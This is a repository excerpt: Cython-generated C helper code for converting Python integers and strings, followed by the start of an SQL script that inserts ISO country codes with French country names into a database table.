is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/sql/iso_pays.sql USE Chrono; INSERT INTO T_Pays VALUES ("ABW",533,"ARUBA",FALSE); INSERT INTO T_Pays VALUES ("AFG",4,"AFGHANISTAN",FALSE); INSERT INTO T_Pays VALUES ("AGO",24,"ANGOLA",FALSE); INSERT INTO T_Pays VALUES ("AIA",660,"ANGUILLA",FALSE); INSERT INTO T_Pays VALUES ("ALA",248,"ÅLAND, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("ALB",8,"ALBANIE",FALSE); INSERT INTO T_Pays VALUES ("AND",20,"ANDORRE",FALSE); INSERT INTO T_Pays VALUES ("ARE",784,"ÉMIRATS ARABES UNIS",FALSE); INSERT INTO T_Pays VALUES ("ARG",32,"ARGENTINE",FALSE); INSERT INTO T_Pays VALUES ("ARM",51,"ARMÉNIE",FALSE); INSERT INTO T_Pays VALUES ("ASM",16,"SAMOA AMÉRICAINES",FALSE); INSERT INTO T_Pays VALUES ("ATA",10,"ANTARCTIQUE",FALSE); INSERT INTO T_Pays VALUES ("ATF",260,"TERRES AUSTRALES FRANÇAISES",FALSE); INSERT INTO T_Pays VALUES ("ATG",28,"ANTIGUA-ET-BARBUDA",FALSE); INSERT INTO T_Pays VALUES ("AUS",36,"AUSTRALIE",FALSE); INSERT INTO T_Pays VALUES ("AUT",40,"AUTRICHE",FALSE); INSERT INTO T_Pays VALUES ("AZE",31,"AZERBAÏDJAN",FALSE); INSERT INTO T_Pays VALUES ("BDI",108,"BURUNDI",FALSE); INSERT INTO T_Pays VALUES ("BEL",56,"BELGIQUE",TRUE); INSERT INTO T_Pays VALUES ("BEN",204,"BÉNIN",FALSE); INSERT INTO T_Pays VALUES ("BES",535,"BONAIRE, SAINT-EUSTACHE ET SABA",FALSE); INSERT INTO T_Pays VALUES ("BFA",854,"BURKINA FASO",FALSE); INSERT INTO T_Pays VALUES ("BGD",50,"BANGLADESH",FALSE); INSERT INTO T_Pays VALUES ("BGR",100,"BULGARIE",FALSE); INSERT INTO T_Pays VALUES ("BHR",48,"BAHREÏN",FALSE); INSERT INTO T_Pays VALUES ("BHS",44,"BAHAMAS",FALSE); INSERT INTO T_Pays VALUES ("BIH",70,"BOSNIE-HERZÉGOVINE",FALSE); INSERT INTO T_Pays VALUES ("BLM",652,"SAINT-BARTHÉLEMY",FALSE); INSERT INTO T_Pays VALUES ("BLR",112,"BÉLARUS",FALSE); INSERT INTO T_Pays VALUES ("BLZ",84,"BELIZE",FALSE); INSERT INTO T_Pays VALUES ("BMU",60,"BERMUDES",FALSE); INSERT INTO T_Pays VALUES ("BOL",68,"BOLIVIE, ÉTAT PLURINATIONAL DE",FALSE); INSERT INTO T_Pays VALUES ("BRA",76,"BRÉSIL",FALSE); INSERT INTO T_Pays VALUES ("BRB",52,"BARBADE",FALSE); INSERT INTO T_Pays VALUES ("BRN",96,"BRUNÉI DARUSSALAM",FALSE); INSERT INTO T_Pays VALUES ("BTN",64,"BHOUTAN",FALSE); INSERT INTO T_Pays VALUES ("BVT",74,"BOUVET, ÎLE",FALSE); INSERT INTO T_Pays VALUES ("BWA",72,"BOTSWANA",FALSE); INSERT INTO T_Pays VALUES ("CAF",140,"CENTRAFRICAINE, RÉPUBLIQUE",FALSE); INSERT INTO T_Pays VALUES ("CAN",124,"CANADA",FALSE); INSERT INTO T_Pays VALUES ("CCK",166,"COCOS (KEELING), ÎLES",FALSE); INSERT INTO T_Pays VALUES ("CHE",756,"SUISSE",TRUE); INSERT INTO T_Pays VALUES ("CHL",152,"CHILI",FALSE); INSERT INTO T_Pays VALUES ("CHN",156,"CHINE",FALSE); INSERT INTO T_Pays VALUES ("CIV",384,"CÔTE D’IVOIRE",FALSE); INSERT INTO T_Pays VALUES ("CMR",120,"CAMEROUN",FALSE); INSERT INTO T_Pays VALUES ("COD",180,"CONGO, LA RÉPUBLIQUE DÉMOCRATIQUE DU",FALSE); INSERT INTO T_Pays VALUES ("COG",178,"CONGO",FALSE); INSERT INTO T_Pays VALUES ("COK",184,"COOK, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("COL",170,"COLOMBIE",FALSE); INSERT INTO T_Pays VALUES ("COM",174,"COMORES",FALSE); INSERT INTO T_Pays VALUES ("CPV",132,"CABO VERDE",FALSE); INSERT INTO T_Pays VALUES ("CRI",188,"COSTA RICA",FALSE); INSERT INTO T_Pays VALUES ("CUB",192,"CUBA",FALSE); INSERT INTO T_Pays VALUES ("CUW",531,"CURAÇAO",FALSE); INSERT INTO T_Pays VALUES ("CXR",162,"CHRISTMAS, ÎLE",FALSE); INSERT INTO T_Pays VALUES ("CYM",136,"CAÏMANES, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("CYP",196,"CHYPRE",FALSE); INSERT INTO T_Pays VALUES ("CZE",203,"TCHÉQUIE",FALSE); INSERT INTO T_Pays VALUES ("DEU",276,"ALLEMAGNE",TRUE); INSERT INTO T_Pays VALUES ("DJI",262,"DJIBOUTI",FALSE); INSERT INTO T_Pays VALUES ("DMA",212,"DOMINIQUE",FALSE); INSERT INTO T_Pays VALUES ("DNK",208,"DANEMARK",FALSE); INSERT INTO T_Pays VALUES ("DOM",214,"DOMINICAINE, RÉPUBLIQUE",FALSE); INSERT INTO T_Pays VALUES ("DZA",12,"ALGÉRIE",FALSE); INSERT INTO T_Pays VALUES ("ECU",218,"ÉQUATEUR",FALSE); INSERT INTO T_Pays VALUES ("EGY",818,"ÉGYPTE",FALSE); INSERT INTO T_Pays VALUES ("ERI",232,"ÉRYTHRÉE",FALSE); INSERT INTO T_Pays VALUES ("ESH",732,"SAHARA OCCIDENTAL",FALSE); INSERT INTO T_Pays VALUES ("ESP",724,"ESPAGNE",FALSE); INSERT INTO T_Pays VALUES ("EST",233,"ESTONIE",FALSE); INSERT INTO T_Pays VALUES ("ETH",231,"ÉTHIOPIE",FALSE); INSERT INTO T_Pays VALUES ("FIN",246,"FINLANDE",FALSE); INSERT INTO T_Pays VALUES ("FJI",242,"FIDJI",FALSE); INSERT INTO T_Pays VALUES ("FLK",238,"FALKLAND, ÎLES (MALVINAS)",FALSE); INSERT INTO T_Pays VALUES ("FRA",250,"FRANCE",TRUE); INSERT INTO T_Pays VALUES ("FRO",234,"FÉROÉ, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("FSM",583,"MICRONÉSIE, ÉTATS FÉDÉRÉS DE",FALSE); INSERT INTO T_Pays VALUES ("GAB",266,"GABON",FALSE); INSERT INTO T_Pays VALUES ("GBR",826,"ROYAUME-UNI",FALSE); INSERT INTO T_Pays VALUES ("GEO",268,"GÉORGIE",FALSE); INSERT INTO T_Pays VALUES ("GGY",831,"GUERNESEY",FALSE); INSERT INTO T_Pays VALUES ("GHA",288,"GHANA",FALSE); INSERT INTO T_Pays VALUES ("GIB",292,"GIBRALTAR",FALSE); INSERT INTO T_Pays VALUES ("GIN",324,"GUINÉE",FALSE); INSERT INTO T_Pays VALUES ("GLP",312,"GUADELOUPE",FALSE); INSERT INTO T_Pays VALUES ("GMB",270,"GAMBIE",FALSE); INSERT INTO T_Pays VALUES ("GNB",624,"GUINÉE-BISSAU",FALSE); INSERT INTO T_Pays VALUES ("GNQ",226,"GUINÉE ÉQUATORIALE",FALSE); INSERT INTO T_Pays VALUES 